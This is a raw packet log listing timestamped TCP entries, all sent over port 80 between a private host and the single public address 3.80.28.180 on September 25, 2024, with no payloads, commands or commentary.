Sep 25, 2024 03:51:27.304455042 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.304486036 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.304517984 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.304548979 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.304582119 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.304596901 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.304613113 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.304645061 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.304722071 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.304776907 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.304809093 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.304841042 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.304864883 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.304872036 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.304903984 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.304934978 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.304966927 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.304991007 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.305001020 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.305068016 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.305206060 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.305236101 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.305268049 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.305286884 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.305304050 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.305336952 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.305368900 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.305402040 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.305417061 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.305434942 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.305457115 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.305468082 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.305500031 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.305514097 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.305531979 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.305565119 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.305597067 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.305603981 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.305629015 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.305664062 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.305679083 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.305715084 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.305742979 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.305771112 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.305803061 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.305819988 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.305835962 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.305867910 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.305895090 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.305900097 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.305933952 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.305998087 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.306159973 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.306209087 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.306241035 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.306272984 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.306274891 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.306308031 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.306339025 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.306345940 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.306370974 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.306408882 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.306417942 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.306442022 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.306473017 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.306504965 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.306536913 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.306564093 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.306564093 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.306569099 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.306601048 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.306632996 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.306637049 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.306665897 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.306698084 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.306706905 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.306747913 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.306766987 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.306782007 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.306813002 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.306819916 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.306879997 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.307023048 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.307156086 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.307190895 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.307221889 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.307254076 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.307261944 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.307286978 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.307318926 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.307348967 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.307354927 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.307380915 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.307427883 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.307432890 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.307461023 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.307492018 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.307497025 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.307526112 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.307558060 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.307590008 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.307621002 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.307621002 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.307653904 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.307684898 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.307686090 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.307717085 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.307749033 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.307770014 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.307780981 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.307842970 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.308001995 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.308033943 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.308063984 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.308089018 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.308095932 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.308129072 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.308161974 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.308192968 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.308203936 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.308203936 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.308223009 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.308258057 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.308300018 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.308435917 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.347569942 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.347621918 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.347657919 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.347690105 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.347724915 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.347742081 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.347758055 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.347795963 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.347862005 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.389832973 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.394412994 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.394448042 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.394493103 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.394495964 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.394522905 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.394568920 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.394577026 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.394598007 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.394639969 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.394644022 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.394673109 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.394714117 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.394730091 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.394774914 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.394804001 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.394823074 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.394834042 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.394862890 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.394885063 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.394891977 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.394933939 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.394938946 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.394989967 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.395020962 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.395029068 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.395128012 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.395155907 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.395179033 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.395185947 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.395215034 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.395229101 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.395246029 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.395287991 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.395292044 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.395317078 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.395363092 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.395365953 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.395409107 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.395437956 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.395463943 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.395467043 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.395497084 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.395505905 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.395526886 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.395558119 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.395566940 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.395580053 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.395592928 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.395637989 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.395641088 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.395673990 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.395704985 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.395715952 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.395739079 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.395777941 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.396054983 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.396089077 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.396121025 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.396141052 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.396150112 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.396181107 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.396190882 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.396214008 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.396245956 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.396255970 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.396290064 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.396323919 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.396336079 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.396357059 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.396395922 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.396399021 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.396426916 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.396460056 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.396473885 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.396490097 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.396497965 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.396533012 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.396548033 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.396564960 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.396605015 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.396615982 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.396644115 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.396673918 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.396687031 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.396704912 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.396733999 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.396749973 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.396765947 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.396797895 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.396812916 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.396831989 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.396866083 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.396869898 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.397108078 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.397140026 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.397154093 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.397171021 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.397197962 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.397217035 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.397228956 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.397262096 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.397278070 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.397295952 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.397327900 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.397341013 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.397361040 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.397392988 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.397403955 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.397425890 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.397458076 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.397476912 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.397490025 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.397527933 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.397538900 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.397556067 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.397589922 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.397607088 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.397620916 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.397659063 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.397716045 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.397748947 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.397782087 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.397795916 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.397814035 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.397845984 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.397871017 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.397877932 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.397910118 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.397923946 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.397942066 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.397973061 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.398000002 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.398005962 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.398036957 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.398051023 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.398072004 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.398113012 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.398427963 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.398477077 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.398508072 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.398524046 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.398540020 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.398571968 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.398586988 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.398603916 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.398636103 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.398653030 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.398668051 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.398700953 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.398715019 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.398732901 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.398765087 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.398777008 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.398797035 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.398828983 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.398838043 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.398860931 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.398893118 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.398915052 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.398924112 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.398956060 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.398967028 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.398988962 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.399019957 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.399029970 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.399054050 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.399104118 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.438566923 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.438640118 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.438674927 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.438694954 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.438709021 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.438743114 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.438760042 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.438776970 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.438815117 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.438818932 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.438844919 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.438889980 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.485637903 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.485683918 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.485742092 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.485743999 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.485776901 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.485821962 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.485852003 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.485886097 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.485920906 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.485932112 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.485955000 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.485986948 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.486000061 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.486020088 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.486061096 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.486069918 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.486104012 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.486135006 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.486144066 CEST	49730	80	192.168.2.4	3.80.28.180
